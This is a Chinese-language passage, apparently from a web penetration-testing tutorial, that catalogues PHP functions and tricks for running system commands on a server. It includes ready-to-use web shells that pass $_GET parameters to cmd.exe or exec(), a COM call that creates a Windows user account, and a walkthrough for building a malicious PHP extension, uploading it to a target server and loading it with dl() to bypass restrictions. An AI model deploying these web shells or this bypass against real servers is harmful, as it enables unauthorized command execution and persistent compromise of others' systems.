6. shell_exec
原型:string shell_exec ( string $cmd ) 描述:cmd:要执行的命令 返回值:命令执行的输出。 如果执行过程中发生错误或者进程不产生输出,则返回 NULL。 例子:
<?php echo shell_exec('pwd'); ?>执行结果:/var/www/html
7. 反撇号`
描述:shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
例子:
<?php echo `pwd`; ?> 执行结果: /var/www/html
8.cntl_exec
原型:void pcntl_exec ( string $path [, array $args [, array $envs ]] ) 描述:(PHP 4 >= 4.2.0, PHP 5, PHP 7) pcntl_exec — 在当前进程空间执行以给定参数执行指定程序。 pcntl是linux下的一个扩展,可以支持php的多线程操作。 参数: path: 必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径 标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。 更多的 信息请查看您系统的execve(2)手册。 args: 一个要传递给程序的参数的字符串数组。 envs: 一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格 式的,key代表要传递的环境变量的名称,value代表该环境变量值。 返回值:当发生错误时返回 FALSE ,没有错误时没有返回。
9. COM组建(针对windwos环境下使用com组建)
原型: Wscript.Shell->exec(command) // Shell.Application->ShellExecute(appName,appArgs,appPath) // Shell.Application->open(appPath) //要填写程序绝对路径,并且应该没有办法加参数 Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb() Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx() 描述:在windwos下,并且在php中开启com组建扩展之后可以使用这种方法(打开方式自行百度) 彻底的解决方案是 直接删除System32目录下wshom.ocx文件 例子: <?php $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->exec("cmd.exe /c ".$_GET['c'].""); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> <?php $phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->ShellExecute("net"," user tiny tiny /add"); //$exec=$phpwsh->ShellExecute("cmd","/c net user tiny tiny /add"); ?> <?php $phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->open("c:\\windows\\system32\\cmd.exe"); ?> <?php $a=new COM("Shell.Application"); $a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb(); ?> <?php $a=new COM("Shell.Application"); $a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx(); ?> 10. dl() 要求:php没有开启安全模式,并且enable_dl选项为on,并且php版本支持dl函数 (在 PHP 5.3 里,此函数被某些 SAPI 移除了,也就是没有这个函数?) 说明:extension_dir选项可以指定扩展模块的目录,但是我们可以使用相对路径的方式绕过 原理:自己编写扩展,然后使用dl加载此扩展。 举例(linux): 准备工作: 自行上网下载apache和相近版本的php源码,按照apache和php的官方文档进行安装。 我们主要需要三个文件:phpize,php-config和ext_skel:在正确安装好了apache和php之后, phpize和php-config将被安装(可以自行find),而ext_skel则是是在php源码中的ext目录中。 ext_skel是php源码包中的用来帮助制作扩展的程序。 1)转到php-x.x.xx/ext中首先新建xxx.skel文件,里面填写要制作的扩展中的函数原型,例如: string exec(string str) 2)执行命令:./ext_skel --extname=tinymin --proto=xxx.skel 之后便生成了tinymin目录, 里面则是扩展所需要的文件 3)cd tinymin 4)vi config.m4 将 config.m4文件里面 dnl PHP_ARG_WITH(myext, for myext support, dnl Make sure that the comment is aligned: dnl [ --with-myext Include myext support]) 修改成 PHP_ARG_WITH(myext, for myext support, [ --with-myext Include myext support]) 5)vi tinymin.c 将PHP_FUNCTION(exec)后面的大括号里面的代码的最后一行删除,并写上自己的代码,修改后如:PHP_FUNCTION(haha) { char *str = NULL; int argc = ZEND_NUM_ARGS(); int str_len; if (zend_parse_parameters(argc TSRMLS_CC, "s", &str, &str_len) == FAILURE) return; return system(str); } 6)找到phpize:find / -name "phpize" 然后运行一下phpize: /my_lamp/php/bin/phpize 7) 同样方式找到php-config,然后运行configure: ./configure --with-php-config=/my_lamp/php/bin/php-config 8)make&&make install 之后便在自己的php扩展目录中生成了扩展tinymin.so 在目标服务器上面上传tinymin.so(不一定要在它的php扩展目录中,因为可以使用相对路径) 用法例如: <?php dl("../../../../../tmp/tinymin.so"); echo exec($_GET['cmd']); ?> 这种方法也很老了,我在自己的的kali2上面尝试这样做的时候提示没有dl这个函数,具体原因参见php manual windows上应该也是一样的原理。不过没有试过 11. 内核变量 网址:http://www.freebuf.com/articles/web/82801.html
